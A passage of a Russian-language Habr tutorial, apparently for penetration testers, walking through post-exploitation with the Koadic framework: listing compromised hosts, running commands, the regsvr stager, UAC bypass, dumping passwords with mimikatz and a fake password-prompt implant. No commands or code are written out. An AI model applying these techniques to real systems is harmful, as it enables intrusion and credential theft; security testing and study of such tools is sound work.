                            При выполнении той же команды на русифицированной Windows 7 (IP 192.168.2.2) я получил ошибку преобразования ASCII, вероятно из-за русских символов.



                            Командой zombie получаем список доступных для пост-эксплуатации хостов.



                            Чтобы получить более развернутую информацию, добавим ID к команде



                            Так как это Windows 2000, нам не нужно использовать модули для преодоления UAC. Так что просто попытаемся выполнить команду операционной системы через нашу сессию Koadic.



                            Команда отработала корректно.

                            Попробуем другой стейджер, например stager/js/regsvr на англоязычной Windows 7



                            После выполнения указанной команды, получаем сессию в Koadic, а далее можем использовать модуль для преодоления защиты UAC



                            Далее можно воспользоваться, например mimikatz



                            И получили пароли пользователей.

                            Есть и более «творческие» импланты, например implant/phish/password_box, который показывает пользователю окно с произвольным текстом и просит, ввести пароль.



                            И получаем в Koadic сообщение



                            Конечно, на все модули фреймворка работают безотказно, но, тем не менее, его можно использовать как альтернативу Empire, если ситуация того требует, а неработающие модули заменить на серию команд операционной системы, которые нам доступны через рабочие модули Koadic.
                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/338876/


                            Метки:  

                            Поиск сообщений в rss_rss_hh_full
                            Страницы: 1824 ... 1552 1551 [1550] 1549 1548 ..
                            .. 1 Календарь